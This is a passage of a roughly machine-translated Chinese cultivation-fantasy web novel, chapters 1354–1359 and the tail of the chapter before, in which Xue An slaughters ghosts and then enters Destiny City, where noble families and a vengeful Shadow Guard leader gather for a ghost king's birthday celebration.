    Because if according to this phantom, the dead Cang Ming ghost king was probably the ghost king who was forcibly summoned by himself in Jingguo and ordered to explode and eventually died out.


    Unexpectedly, this ghost monarch is actually in the outermost layer of the ghost world.


    A few thoughts flashed in Xue An''s mind, and then smiled slightly, "Speaking of which, these things have nothing to do with you?"


    "My lord Mingjian, it really has nothing to do with me! It was the fate of ghosts and threats that I had to do this!" Youhuan''s tone was very aggrieved, but there was a bit of excitement and excitement deep in my heart.


    Originally, he hated the destiny ghost very much. If he could take this opportunity to bring the disaster to the east, and let this god-killing grandfather who was famous throughout the ghost world find trouble with this destiny, that would be great!


    And if Xue An could eliminate the Destiny Ghost Lord, it would be even more perfect.


    You Huan had a wishful thinking in her heart, but she did not show it at all on the surface, only infinite grievances and helplessness, as if he was the victim.


    Xue An narrowed his gaze, "It sounds reasonable!"


    Youhuan secretly breathed a sigh of relief, and said with a full smile: "My lord, how dare I lie to you?"


    Xue An nodded, "If this is the case, then I will let you go!"


    You Huan was so happy in her heart that she nodded and bowed her waist in a hurry, "Thank you, Sir, thank you!"


    Xue An smiled, "No thanks! All should be done!"


    I don��t know what��s going on. When I heard Xue An��s words, You Huan felt cold all over, but as a ghost king who had survived for thousands of years, he was still calm and laughed with Xue An. stand up.


    "Huh? What are you laughing at?" Xue An suddenly asked in surprise.


    You Huan was taken aback, and hurriedly reduced her smile, and said with a shocked face: "My lord, I didn''t laugh anything..."


    Xue An shook his head, "No, your smile was weird just now, you must be laughing at me in secret, right?"


    You Huan almost cried, "How dare I laugh at you! I just saw you laughing, so I laughed with you! Ah~!"


    Before the words finished, Xue An slowly retracted the hand that had crushed You Huan''s head, and said lightly: "Laugh with me? Are you qualified?"


    At the same time, the ghostly illusion that had been crushed into its daily form revealed his original ghost form in a black air floating, and then looked at Xue An with horror on his face.


    "Big...sir!"


    Xue An smiled, "I''m sorry, I just crushed your head quickly, you won''t blame me!"


    Youhuan laughed more ugly than crying, "No... dare not!"


    Xue An nodded, then stretched out his hand and gently stroked the ghost-shaped ghostly head, "How good!"


    But every time he touched, Yuhuan''s body shuddered, and his face was full of horror.


    But even so, he forced a flattering smile, "My lord, I..."


    As soon as the voice fell, Xue An crushed this phantom head again.


    Just listen to a muffled sound.


    Now, this ghostly fantasy had no luck, it was crushed directly into a black mist.


    "what do you mean?"


    Before dying, Youhuan let out a roar.


    Xue An retracted his palm and said lightly: "It''s nothing, I just want to kill you, nothing more!"


    "Shen Huo Gui Zun, as a human race, you made a big name in the ghost world, but do you think it is still the ghost world in the past?" The ghostly voice gradually faded, this is his about to die. Sign, so his voice was full of unwillingness.


    Xue An laughed, "Does it matter? As long as you fearless ghosts still exist, then I will continue to kill!"


    "Hehe, kill, do you really think you can kill it?" Youhuan laughed grimly, her voice was full of bitter resentment Xue An said indifferently: "Nothing is impossible to kill. If there is one, I will kill one, and if there are two, I will kill one pair. If there are too many... then I will destroy this world!"


    Hearing these words, I wanted to verbally strike Xue An''s Youhuan astonished, and then I wanted to say something.


    But at this time, Xue An slowly exhaled.


    call!


    But seeing a gust of wind blowing by, the already torn apart You Huan let out a scream, and then it was blown away completely, and the spirit and soul were destroyed!


    But Xue An obviously didn''t just kill a Yuhuan. He stepped out and punched the ground.


    boom!


    A shock wave spread in an instant, and wherever it passed, the ghost city built with blood and bones collapsed and turned into dust.


    As for the ghosts in it, none of them escaped and was immediately destroyed on the spot.

 Chapter 1354： Survey the sky and frighten the ghosts

    After doing all this, Xue An looked down at the light ball in his hand and sighed, "There is no way to settle you right now, forget it, put it away first!"


    After that, Xue An slapped it casually, storing this group of spirits in the sea of ??consciousness in the middle of his eyebrows, and then looked into the distance and said lightly: "Destiny ghost?"


    Then a cold smile appeared at the corner of his mouth, "Purge the ghost world and frighten the ghosts, let''s start with you!"


    After all, Xue An''s figure rose into the sky, turned into a glow that enveloped most of the sky, and flew straight to the distance.


    Wherever the rays of light passed, the evil spirits melted like ice and snow.


    "Ahhhhhhh! What is this?"


    Countless ghosts uttered a terrible cry, but they didn''t support a single breath, they turned into pieces of fly ash, and disappeared.


    Countless towns standing on this land saw the light for the first time. These numb human races squeezed by ghosts all raised their heads and stared blankly at the trail of gorgeous light above the sky, stretching past. Wanli Xiaguang.


    And when they heard the miserable howls of the domineering ghosts on their heads, a little brilliance gradually appeared on the faces of these people.


    In the end, without knowing who raised the head first, countless human races fell to their knees and worshipped the glow above the sky.


    What''s more, there are words in the mouth, tears are already streaming down my face.


    Just when the ghosts were all dying, under an old tree beside the official road, Jin Jue was holding a piece of dried persimmon in his hand, and looked up at Xue An, who was passing by the sky, with clear eyes. A touch of sadness suddenly appeared in the middle.


    But in the end, he clasped his hands together, saluted the sky deeply, then sighed and strode away.


    In the end, the ghosts were swept away in the territory of hundreds of thousands of miles under the rule of the ghost king!


    After all this, Xue An stood on the edge of the territory, watching the human race on the ground weeping with joy, running and hugging, a faint smile appeared at the corner of his mouth.


    Killing is never the best way to solve a problem, but it must be the most effective way!


    Xue An respected Jin Jue''s various efforts to save ghosts, but it was nothing more than respect.


    For him, taking a tooth for a tooth and blood for blood is the most unbreakable truth among the heavens.


    now.


    The ghostly ghost is full of wind, but standing on the edge of the border and looking forward, it is still ghostly and evil.


    The two took the place where Xue An was standing as the boundary, forming a very sharp contrast.


    Xue Anzheng wanted to continue killing all the way.


    Suddenly, a tremor from the plane spread over, and Xue An was startled first, and then a cold brilliance flashed in his eyes.


    "Very well, since it''s all here, it''s easy! I''ll see what your so-called birthday ceremony has in the end!"


    Having said that, Xue An squeezed a curse mark in his hand and flicked it back.


    boom!


    The curse seal was about to rise in the storm, and all the visions of this phantom ghost mythical creature were sealed in an instant.


    Then Xue An''s figure flashed, and instantly disappeared into the void.


    As soon as he walked on his front foot, several powerful spiritual thoughts descended here.


    "Strange, all sorts of changes have been heard in this phantom ghost mythical creature just now, why are they all suddenly disappeared?" A divine mind asked a little surprised.


    "Hmph, it must be the ghost of You Huan, maybe he wants to use this method to lure us into fools!" Another spirit snorted coldly.


    "Yes, anyway, we can''t be fooled by this phantom, there may be various ambushes among his ghosts as he looks now!" Another divine mind said.


    "Are we really fools? Go!"


    Having said that, these few divine thoughts didn''t detect it at all, and turned around and disappeared.


    That''s right!


    These divine thoughts are all the ghost kings of the few ghost mythical creatures closest to the phantom ghost mythical creature. Because they felt the strangeness just now, they all separated a ray of divine mind to see what happened.


    But how can they see through the blindfolds that Xue An arranged? Although they only need to take a step forward and they can see the real scene inside, no ghost king dares to do this.


    This is not to blame for their courage, it is true that these ghosts are usually intrigue and deceive too much, causing them to believe in no one.


    Now seeing the strangeness in the ghost mythical creature, these guys naturally refused to take risks in the past.


    It is precisely because of this that Xue An only laid out a blindfold.


    Although this destiny plane is only a very inconspicuous plane on the edge of the ghost world, its area is still extremely vast.


    In the middle of the territory of hundreds of millions of miles, stands a huge black mountain whose height is thousands of miles, and the top of the mountain has even been inserted into the unpredictable void.


    Starting from the halfway up of the black giant mountain, thick black brilliance stretched out, traversed vertically and horizontally above the sky, and finally passed through the vast void and disappeared into the unknown.


    Although these black brilliance are thick and thick, they are as thin as iron wires when viewed from a distance.


    Therefore, this huge black mountain is also called...the Iron Net Mountain!


    But this mountain is not a true iron net mountain, it can only be said to be a part of iron net mountain.


    In fact, on all the planes on the edge of the ghost world, there are the same black giant mountains. These giant mountains are connected by countless black brilliance, which completely surrounds the entire ghost world, forming an extreme A terrifying enchantment.


    And this is the whole picture of Iron Net Mountain, which is well-known among the heavens.


    Although it was not the first time I saw it, it was when this huge black mountain appeared in the sky and occupied his entire field of vision.


    The White Bone Dao Master Wen Ling Cui still couldn''t help his scalp numb, and his whole body trembled.


    And the little apprentice Song Jingyue who was standing beside her couldn''t help but let out an exclamation.


    "Wow, what a big mountain!"


    This exclamation came from the heart without any pretense.


    In fact, people who saw this iron net mountain for the first time were almost amazed.


    Although Leng Bocheng was also extremely surprised, when he saw the charming face of his little junior sister, he suppressed the shock in his heart, pretending to be a chic smile.


    "Junior sister, this is the iron net mountain that is famous for all the heavens! I heard that this iron net mountain is the handwriting of a peerless power!"


    "What?" Song Jingyue''s mouth opened wider.


    She thought that the iron net mountain was naturally generated, but she did not expect it to be a powerful hand.


    Seeing his junior sister so surprised, Leng Bocheng''s heart became more and more proud, and couldn''t help but smile: "Not only here, there are such mountains on the edge of the ghost world, and the iron fence formed by it can even Block all the strong above the fairy king!"


    Hearing Leng Bocheng''s words, Song Jingyue couldn''t help turning her head to look at Wen Lingcui, "Master... is what he said is true?"

 Chapter 1355： Iron net sacred mountain

    Wen Lingcui looked solemnly at the iron net mountain in the distance, and then nodded, "Yes!"


    Song Jingyue''s heart couldn''t help becoming more shocked, "God, how powerful is this mighty power!"


    Wen Lingcui''s face appeared worshipful, and he whispered, "The first Mingjun in the ages, do you think it is amazing?"


    Mingjun.......


    This name made Song Jingyue''s heart more shaken, and she couldn''t help asking: "Master, didn''t you say that there is no Mingjun in the ghost world now?"


    "Of course there is!"


    "Then where is he now? Is it in the central plane in the middle of the ghost world?" Song Jingyue kept asking like a questioning baby.


    But Wen Lingcui''s complexion changed drastically, and then shook her head with a serious face, "Jingyue, we can talk about these words between our masters and apprentices, but we must never tell outsiders!"


    "But... why?" Song Jingyue couldn''t help but asked again.


    "Because of the existence of that person... is already a taboo in the entire ghost world!" Wen Lingcui said, and suddenly shook his head mockingly.


    "Although we are just a group of ants to these existences, you must remember that you must never talk about these in front of the ghost clan, otherwise it may cause unnecessary trouble, understand?"


    "Yeah!" Although Song Jingyue was young, she also understood a lot of truths. Now that the usually amiable and amiable Master is so serious, she naturally knows that this is not a joke.


    "Let''s go! At the foot of the Iron Net Mountain, it is the Destiny Ghost City!" Wen Lingcui whispered.


    Then he led the two apprentices and the many disciples of the White Bone Dao to go to the city that day.


    When she first came to the ghost world, Song Jingyue found everything fresh.


    And she soon discovered that it was not only their family of human races who went to pray for the birthday this time, but also the sects of many races also brought great gifts.


    Leng Bocheng smiled as if seeing the doubt on his junior sister''s face.


    "Junior Sister, our White Bone Dao is the sect of the human race that specializes in ghost Dao. The original founder of the mountain entered into an agreement with this destiny ghost king. To put it bluntly, we usually worship it, and then wait for the destiny ghost king when we need it He will use his supreme ghost power to help us do things!"


    "But do you think that a existence like the Destiny Ghost Lord will only be worshipped by our sect? I dare not say among the heavens, but there are many sects worshiping him in these nearby world planes. Door! And this time because the birthday is approaching and he has widely invited him, not only the bones, but the other sects will also come, one is to celebrate the birthday, and the second is to have a good relationship with this ghost! "


    An unnoticeable disgust flashed in Song Jingyue''s eyes, but she nodded slightly, "It turns out to be like this, thank you brother!"


    Seeing this little younger sister growing up, Leng Bocheng couldn''t help but feel the heat in his heart, and quietly moved forward, wanting to continue to show off his knowledge.


    But at this moment, Song Jingyue naturally walked to Wen Lingcui''s side, and then continued to fly forward.


    Leng Bocheng was left standing alone, his face was blue and red, very ugly.


    Although it looked like Song Jingyue did it unintentionally, Leng Bocheng understood that her little junior sister was increasingly wary of herself. Even if she talked to her, she would always look lukewarm.


    How can this not make Leng Bocheng, who has always regarded himself highly self-esteem, angry.


    "Hmph, you can''t escape from my palm! Your Yuan Yin body can only belong to me!"


    Leng Bocheng roared in his heart, but his face gradually returned to normal, then his figure flashed, and he followed the division team.


    at the same time.


    In the Destiny City that stands at the foot of Tiewang Mountain.


    Guests from all walks of life have made this place extremely lively.


    Compared with the cities of the ghost kings, this Destiny City is less ghostly and more popular.


    Even the soldiers in the city are transformed into human forms.


    As for those nobles in the city, they are even more proud of being transformed into human form.


    The reason for this is not how much they admire Human Race.


    But because the body of a ghost cannot enjoy the worldly pleasures in many cases, so many ghosts like to transform into human form.


    In fact, it is not only the Destiny City, it is necessary to know that this trend first spread from the powerful plane in the depths of the ghost world.


    Therefore, if you are not specifically reminded, you will not be aware that you are in the ghost world if you are in it.


    Even things that you can''t enjoy in the outside world, here are all available to satisfy you!


    This Destiny City has become a veritable city of desire.


    And just when the four powerhouses gathered together.


    Located in the center of the Destiny City, the towering city lord''s mansion.


    The destiny ghost, who held a certain plane and made countless people awe and worshipped, bowed to the ground, his face full of excitement.


    A trace of black air escaped from the teleportation formation in the middle of the secret room.


    The Destiny Ghost didn''t even dare to blink his eyes, waiting for something with excitement.


    at last.


    With the slight tremor of the entire Destiny Plane, a dazzling black light suddenly radiated from the teleportation array.


    Then I saw a person''s shadow slowly emerged in the black light.


    Seeing this figure, Destiny Guijun hurriedly bowed his head to the ground, did not even dare to lift his head, only dared to look at it from the corner of his eye.


    But as the black light swayed, the figure gradually became clear, but immediately after that, a human figure appeared next to this figure.


    The Destiny Ghost''s heart shook, that is, at this moment, the black light suddenly dissipated, and then two figures came out from it together.


    The figure walking in the front let out a few sneers.


    "What a low-level plane! Even this Yin Qi is so complicated!"


    Hearing this voice Destiny Guijun repeatedly knocked on his head, and said in a trembling voice: "Humble Destiny, and welcome the Lord!"


    Hearing his shouts, the two figures gradually converged, and finally showed their true colors.


    I saw that standing in front was a handsome man with a arrogant face in a Chinese suit.


    And behind him, stood a tall and glamorous woman.


    After seeing the Destiny Ghost Lord who was kneeling on the ground repeatedly and protruding his head, the man sneered and said very arrogantly: "Are you the so-called Destiny Ghost Lord who controls this plane?"


    "In front of an adult, I don''t dare to call a ghost king!" Tian Ming raised his head and said flatly.


    Hearing him say this, the man nodded in satisfaction, "Very well, you are also acquainted! Get up!"


    "Yes!" The Destiny Guijun stood up and stood aside respectfully, with excitement flashing in his eyes from time to time.


    It''s not that he has never seen the world, it is because the identity of the man who came here is too noble.

 Chapter 1356： 2 giants

    You must know that in the depths of the ghost world, there are as many giants as cow hair, and families are like river sand.


    But there are only a few who can truly be called distinguished.


    Among them, the Ren family where this man is located is one.


    How long the Ren family has existed, the time has not been verified.


    But being able to stand for such a long time without falling in that chaotic place, and even more prosperous, can see how terrifying the strength of this Ren family is.


    And this man is a direct descendant of the Ren family, named Ren Tianyun.


    The destiny ghost is very self-aware. Compared with this status, his so-called ghost is not a shit, and he is not even qualified to be a dog.


    That''s why he was so excited when he learned that someone from the Ren family was coming here.


    If you can get in touch with the Ren family through this incident, then you will be soaring into the sky.


    Just when the destiny ghost silently calculated the beautiful vision for the future.


    Ren Tianyun didn''t even bother to look at him. Instead, she turned her head and smiled at the glamorous woman, "Fei Wen, are you tired just now?"


    The woman shook her head, "Young Master Ren doesn''t care about me, I am here also for the Tan family!"


    Wait, what did this woman say? Tan family?


    After hearing this name, Destiny Ghost, who was originally full of excitement, was stunned for an instant.


    Because the Tan family is also an extremely powerful giant in the depths of the ghost world, and it is not even inferior to the Ren family in terms of strength.


    This naturally shocked the Destiny Ghost, who just thought she was Ren Tianyun''s servant.


    But then there was a burst of ecstasy.


    Because if this can catch the line of the Tan family at the same time, it will be very good for me.


    But after Ren Tianyun heard this Tan Feiwen''s words, there was a cold color in the depths of her eyes, but she nodded.


    "Alright!"


    Tan Feiwen ignored these, but raised her hand, "Come here!"


    The destiny ghost hurriedly stepped forward, "I have seen the lord in the humble!"


    Tan Feiwen said indifferently: "You don''t have to be so cautious, I ask you, what do you think the ghost of Cang Ming was suddenly summoned by a mysterious power, and then died, is this true?"


    The Destiny Ghost took a deep breath, then solemnly nodded, "Naturally it is true! How dare you lie about this kind of thing!"


    Tan Feiwen nodded, "Very good! Then you can tell everything you know right now, without any omission, understand?"


    "Yes!" Destiny Guijun nodded immediately.


    This is the tallest and most noble room in the city lord''s mansion, and you can see the towering iron net mountain outside by opening the window.


    now.


    Ren Tianyun and Tan Feiwen, who had arrived, sat in front of the window, drinking the superb spiritual tea offered by the destiny ghost king, and fell silent for each other.


    After not knowing how long, Tan Feiwen put down the cup and said lightly: "What does Ren Shao think?"


    Ren Tianyun chuckled, "Although the strength of this destiny ghost is not very good, the news is very clear. If it is true as he said, then this Cangming ghost is indeed a bit strange!"


    Tan Feiwen shook her head, "Not a little weird, but very weird!"


    Speaking of this, Tan Feiwen��s eyes flashed with a deep luster, ��Although in the edge of this ghost world, the strength of ghosts is not that good, but after all, they are all strong guards. How can such an existence be easily People call away?"


    "Then...what if it is the immortal king or above?" Ren Tianyun said hesitantly.


    Tan Feiwen shook her head, then turned to look at the iron net mountain outside the window, and said lightly: "Since... since he established the iron net mountain, which fairy king has dared to surpass?"


    Tan Feiwen''s tone was strange when it came to the word him.


    Ren Tianyun, who had always had eyes above the top and was extremely arrogant, couldn''t help but glanced at Tiewang Mountain after hearing Tan Feiwen''s words, and then there was an expression of infinite awe and fear on his face.


    It seemed that this was a taboo that could not be talked about. After a brief silence, the two of them turned the topic to Ghost Lord Cang Ming.


    "If according to this destiny, then this summoned person is obviously extremely proficient in the way of **** runes and ghosts. Such existence is indeed a threat to our ghost world!"


    Speaking of this, a murderous intent flashed across Ren Tianyun''s face, and the teacup in front of him turned into a cloud of black air silently.


    Tan Feiwen said indifferently: "Not only that, after Cang Ming was summoned, all his clones burst apart. This shows that the other party''s mental power is obviously extremely powerful, so we must investigate this matter to the end! Satisfied explanation!"


    Ren Tianyun nodded, "Then Feiwen, when are you going to do it?"


    Tan Feiwen frowned slightly, she seemed to dislike the name Ren Tianyun very much, but Xuan even lowered her eyes and said lightly.


    "Anyway, this destiny ghost can be regarded as providing a very important piece of information, plus his longevity is imminent, then we will give him this face, and after participating in his ghost life, we will go to the Cangming plane to investigate. Explore!"


    "Participate in his ghost birthday?" A look of disdain flashed across Ren Tianyun''s face. Just about to say something, she suddenly caught a glimpse of the look on Tan Feiwen''s face, startled, and then stopped.


    "That''s great!"


    Tan Feiwen returned to her house.


    When only Ren Tianyun was left in the room, he suddenly sneered.


    "Give him a face? Don''t you just want this destiny ghost to summon his man so that he can sell his life for you! Become a **** and want to set up an archway! It''s ridiculous!"


    Speaking of this, Ren Tianyun''s breathing became heavy again, "Moreover, I dare to show off to me. Sooner or later, I will let you understand how good I am!"


    Of course, these words were sealed in a small area by his secret technique, and the outside was completely unknown.


    At the same time, everyone from the White Bone Road has also entered this Destiny City.


    After witnessing the prosperity, Song Jingyue was even more amazed.


    "Wow, Master, this is more prosperous than the capital in our world!"


    However, the streets are full of people, and the shops on both sides are selling all kinds of rare treasures that are easily hidden from the outside world.


    Even the souls were placed on the counter clearly marked.


    But looking at the expressions of everyone, it seems that they are all used to it.


    Wen Lingcui has been here several times, and naturally there is no initial shock I saw her solemnly said: "Don''t be noisy, and settle down in the post!"


    "Okay!" Although Song Jingyue wanted to take a stroll, her master''s order was hard to violate, she still obeyed the words honestly and went to the post.


    But at this moment, Leng Bocheng came over again, and laughed in a low voice: "Junior Sister, I''ll take you out for a while?"


    Song Jingyue had no expression on her face and said lightly: "No need!"


    After speaking, he left.


    Leng Bocheng''s face grew colder, and finally suppressed his anger, and then followed.


    At this moment, a space outside the Destiny City rippled, and then a figure walked out of it.


    Although it was very abrupt, the people around didn''t seem to see it, and didn''t notice anything at all.


    Xue An raised his head to look at the iron net mountain in the distance, smiled faintly, and then turned and walked into this Destiny City.

 Chapter 1357： Zhu Lou

    There are still three days to go before this so-called big birthday celebration, and time is very abundant, so Xue An is not in a hurry, but strolling on the street, watching the various people coming and going on the street, and his heart becomes more calm.


    At this moment, the Destiny City is mixed with dragons and ghosts, and there are even demons and ghosts among them, making the situation more complicated.


    And all kinds of people are coming here constantly.


    In the face of this chaotic situation, Xue An is calm as water.


    He knows very well that the sooner you start, the less resistance you will receive.


    But what Xue An wanted was not to let a destiny ghost master die, but to use this method to frighten this group of ghost tribes who had lost their awe.


    That''s why he will wait patiently for this big birthday celebration.


    What''s more, Xue An didn''t forget the trembling from the plane. He raised his head and looked at the towering city lord''s mansion in the distance, and a sneer appeared in the corner of his mouth.


    To cause plane tremor, the people who descended here must at least be strong at the level of ghost monarchs, and it is very likely that they are the wealthy families from the depths of the ghost world!


    Thinking of this, Xue An let out a sigh of relief.


    It seems that the time is too long, and this group of guys have forgotten the **** suppression of the year.


    Good too! Just take your surgery!


    In order not to startle the snake, Xue An did not detect the city lord''s mansion with divine consciousness, but took a deep look, then turned and left.


    Going further down the street, the flow of people is getting denser, and everyone has a hint of excitement on their faces, as if they yearn for something.


    Xue An was startled slightly, and looked up, but the sight in his eyes made him laugh dumbfounded.


    It turned out that when he was walking, he had actually followed the main road to the most prosperous place in the Destiny City, which was... the red light district.


    It seems that no matter what place or race, the more these brooches gather, the more prosperous it is. This seems to have become an unbreakable truth.


    And it is different from the brothel Chu Pavilion in other places. Because of the strong and special racial character of the ghost tribe, the brothel Chu Pavilion here is much larger and more prosperous than the outside.


    As long as you can think of, there are here, as for the things you can��t think of, there are also here!


    This has also made the red light district famous, and even people from other worlds come to find out.


    What''s more, because of this big birthday celebration, the number of people coming to Destiny City has increased many times, and there are many people who want to come here to open their eyes.


    Therefore, it is much more prosperous and lively than usual.


    Xue An smiled, and was about to turn around and leave, but at this moment, a tender female voice came over.


    "This son, please stay!"


    Xue An was startled slightly and turned to look.


    I saw an exposed but pure woman standing in front of a Zhu Building, just looking at herself with a smile.


    When she saw Xue An''s gaze projected over, the woman''s eyes lit up again, and then she stuttered: "This son, I see you, but do you want to stay?"


    After saying this, A Qing looked at Xue An nervously.


    She didn''t know what was wrong. She just passed the door and happened to see Xue An who was about to turn away. Although it was just a glimpse, the temperament and appearance of Xue An made A Qing''s heart greatly moved. , Just blurted out the son, please leave this sentence.


    And when Xue An turned to look at him, A Qing sighed in secret in his heart.


    What a suave and romantic boy!


    A white dress wins the snow, a long jade body, a pair of sword eyebrows are even more thrilling, coupled with those deep eyes, although just standing there, there are thousands of romantic and unmoving nobleness. temperament.


    Such a picture naturally shocked Ah Qing, so she even squatted when she spoke.


    After all, as a Human Race girl who is asking for life in this Destiny City, she hasn''t seen a handsome Human Race boy like Xue An for a long time.


    What''s more...If you don''t take the initiative, there will be no chance!


    A Qing thought silently in her heart.


    Xue An also understood what was going on and couldn''t help but smile.


    This smile was like a spring breeze, making this A Qing''s head a little dizzy, but she soon regained consciousness.


    "Please rest assured, this son, my inn is very famous in this Destiny City, especially the cooking skills of our masters, it is nothing to say, it will definitely satisfy you! And if the son lives, the slave family is also willing ...."


    Speaking of this, Ah Qing blinked a pair of winking eyes, and the smile on his face became more intense.


    But she never expected that in the face of her "soliciting", the young man in white who looked like she had just left the teacher''s door was not moved at all. Instead, she shook her head slightly, then turned and left.


    Seeing this scene, A Qing''s heart darkened, her teeth bit her vermilion lip, wanting to speak, but in the end she could only leaned against the door frame unwillingly.


    Of course Xue An would not stay in this kind of place. As for the solicitation of this human girl, he did not see it at all.


    But when Xue An was about to take a step, a black light flashed across the top of Zhu Building.


    The others didn''t notice the slightest, but Xue An felt it. He couldn''t help but suddenly turned around, raised his head to look above Zhu Lou, and then gave a slight huh.


    After seeing this scene, Qing also had some doubts.


    But then I saw the young man in white looking down at him, his face flushed.


    "My son, you..." She was about to speak.


    Xue An smiled slightly, "What did you just say?"


    "Huh?" A Qing was a little startled, "I was just talking about you, son..."


    "Not this sentence, another sentence above!" Xue An smiled lightly.


    "I said the chef in our building is doing well..."


    Xue An clapped his hands lightly, "Okay! Then I''ll try it!"


    After that, I walked inside.


    A Qing stared blankly at the back of Xue An, who strode into the building, her eyes widened gradually, but Xuan Even smiled into a beautiful crescent shape, and muttered softly in her mouth.


    "What an interesting little guy!"


    After speaking, he followed up happily.


    The reputation of this Zhulou is indeed not small This can be seen from the full of guests in the lobby.


    The charming maid, Miki, shuttled through it like a butterfly, making this Zhu Lou appear more lively.


    Xue An didn''t pay attention to this at all. He just took a deep breath, and then said to the girl A Qing who was surrounding him and talking excitedly.


    "Please open a room for me!"


    "Huh? So fast?" A Qing was startled.


    "Huh? Hurry up?" Xue An seemed to be searching for something, but did not hear her clearly.


    "Ah, nothing!" A Qing blushed, and responded in a low voice, before turning around and making arrangements.


    But all her actions were wasted, because Xue An didn''t notice her abnormality at all, but glanced at the whole hall, and then dropped his eyes.


    "Is it his person?"

 Chapter 1358： Shadow Guard

    The rooms are very nice, exquisite and clean, and you can see the city lord��s mansion in the distance through the window, Xue An is very satisfied with it.


    It seems that this Zhu Lou is not only the Chu Pavilion on the surface, but also does a good job of accommodation.


    "My son, what do you think of this room?" A Qing said softly, and the waves of her eyes were dripping with softness.


    Xue An nodded, "Very good! Thank you girl!"


    "It''s called Ah Qing!"


    "Then thank you girl Aqing!"


    A Qing looked at a serious Xue An, snorted, and then Kuan came forward and said tenderly: "My son, how are you going to thank me?"


    Xue An took a half step back without moving an expression, and said lightly: "What do you think?"


    "What shall I say..." A Qing stretched out her hand to touch Xue An, but at this moment, she suddenly felt slippery, and she rushed out of the room involuntarily and almost fell to the ground.


    Before she could stand still, she heard a bang, and the door of the room was closed behind her, and Xue An''s calm voice came from it.


    "It''s getting late, I should rest too, please come back, Miss Aqing!"


    A Qing stood stupidly at the door, a look of shame and anger suddenly appeared on his face, and he raised his hand to smash the door, but then he stomped bitterly as if he had thought of something, then turned and left.


    In the room, Xue An gave a noncommittal smile, and then stepped to the window.


    After more than three thousand years of cultivation, he has seen countless big scenes, of course he would not take such things to heart.


    He quietly looked at the city lord''s mansion in the distance, and then his spiritual thoughts slowly spread like water, covering the entire Zhu Building.


    at the same time.


    In a room on the top floor of the Zhu Building.


    A woman also stood in front of the window, staring blankly at the city lord mansion in the distance.


    This woman is wearing a gorgeous long skirt, her figure is very slim and slender, and her long hair pouring down like a waterfall, she has a touch of charm reflecting her beautiful facial features.


    In short, this is a beautiful woman who can be regarded as stunning no matter from any angle.


    It''s just that at this moment, the woman''s complexion is extremely pale, and painful light flashes from time to time in her wonderful eyes, and her hands are tightly holding the window frame, seeming to be immersed in some painful memories.


    At this moment, the door behind him was gently pushed open, and A Qing, who changed into a decent outfit, walked in on tiptoes.


    But although her footsteps were very quiet, they still woke the woman up.


    The pain in the woman''s eyes disappeared instantly, her clenched hands were also loosened, but she didn''t look back, she just said lightly, "Any new news?"


    A Qing shook his head and whispered: "Not yet, but this celebration seems to be an unprecedented grand occasion. Even many sects outside the ghost world have come to celebrate their birthdays!"


    The woman was silent for a moment, and then sneered, "Of course this Destiny Ghost hopes that the bigger the battle, the better. After all, he has invited both the Ren family and the Tan family this time!"


    A Qing was a little silent, but in the end he still said softly: "Chief Wei, are we really sure about this time we do it?"


    "Of course I''m sure!" The woman Huo Ran turned around and stared at Ah Qing coldly, "What? Are you scared?"


    A Qing hurriedly knelt to the ground, "The subordinates dare not! The subordinates are just a little worried. This time, even the richest men in the depths of the ghost world have been dispatched. Coupled with the grand occasion of this celebration, just relying on our strength, how Shake?"


    The woman stared at this Ah Qing. After a long time, the chill on her face gradually subsided, and then she sighed softly, "This question, you shouldn''t be alone!"


    A Qing said, "There are indeed many sisters who have this doubt!"


    The woman turned around and looked at the City Lord''s Mansion outside the window, and said lightly: "It is normal for you to have this question. After all, you and the people in this building are not the ones who have been following me!"


    When she heard the woman say this, A Qing''s face showed a look of horror, and then he banged and said in a trembled voice.


    "Chief Guard, I and all the sisters in the building have received your great favor. If it weren''t for you, we might have died a long time ago, so we have no intentions, but we are just worried! After all..."


    "After all, the opponent is strong, and we are the only one who is strong, right?" The woman smiled, "Get up, I don''t mean to blame you!"


    A Qing stood up trembling, but his face was still full of worry.


    "Actually, I shouldn''t involve you in this matter, but this opportunity is really great! The wealthy children who would not easily show up in the fringe ghost world have all rushed over, I really don''t want to give up!" The woman''s hands were tightly clenched, and a bit of hatred flashed in her eyes.


    "At the celebration, I will try my best to protect you. If I can''t do it, then I will take back the favor I lent to you in advance!"


    The woman''s words made Ah Qing pale instantly, and she wanted to say something. The woman shook her head and said softly: "Go on, remember to observe the movement in Destiny City more these days, and report any abnormalities to me!"


    A Qing''s expression changed, and finally bowed his head deeply and responded softly: "Yes!"


    Then he bowed and retreated.


    When she was the only one left in the room, big tears suddenly appeared in the corner of the woman''s eyes, and her body trembled slightly.


    But just under this silent cry, the corners of the woman''s mouth gradually rose, revealing a bright smile.


    "Master Mingjun, have you seen it? The descendants of these wealthy families who harmed you have already been in my ambush, and soon I will let them all pay for your life!"


    The woman whispered softly, and then tremblingly took out a black lacquered jade decision from her arms, on which three characters were written in ghost seal.


    Shadow Guard The woman''s eyes showed infinite nostalgia, and then she kissed Yujue lightly, "Master Ming, I don''t have much skill, and even go to the depths of the ghost world. No, I can only live in the fringe ghost world, but this time, I am willing to avenge you!"


    Speaking of the end, a hideous color appeared in the woman''s eyes, and the long hair behind her head rose up without wind, and a cloud of black air lingered in her, like a ghost.


    And this jade decision shook endlessly, and silk threads loomed out, extending into the unknown void.


    And at this moment, in the room downstairs, Xue An slowly retracted his mind, and then sighed, "It really is the Shadow Guard he created with his own hands, no wonder the breath is so familiar! But..."


    Speaking of this, Xue An''s face suddenly showed a playful smile, "I said he was dead? Ha ha, I wouldn''t be surprised if anyone in the ghost world died, is he alone..."


    Xue An said word by word: "It''s impossible!"

 Chapter 1359： Picky

    Song Jingyue was very unhappy.


    Very, very unhappy.


    At the same time her face was still very red, very very red.


    Because she found that she still underestimated the skin thickness of her brother.


    After being rejected by herself yesterday, Leng Bocheng did not give up, but continued to seduce Song Jingyue with words.


    In the end, Song Jingyue, under the temptation to take a look at the real excitement of this Destiny City, behind her back she didn''t know, and followed her brother to sneak out.


    But she never expected that her brother would lead herself to such a place.


    Seeing the charming maid Miki, who shuttled through the crowd like butterflies, Song Jingyue gritted her teeth in anger.


    Especially when she saw that although Leng Bocheng was sitting on the opposite side, her gaze had completely drifted to those women, her face went black instantly.


    "Brother, are you taking the younger sister to visit the kiln?" Song Jingyue''s tone was extremely hard.


    Leng Bocheng reluctantly withdrew his gaze from the waists of those women when he heard this, and then he smiled.


    "Junior sister, you misunderstood! Although this Zhulou is said to be a brothel, it is not just a brothel. The chef''s craftsmanship here is excellent! And the spirit wine here is also extremely famous! Since it is here, we naturally want it. Have a taste!"


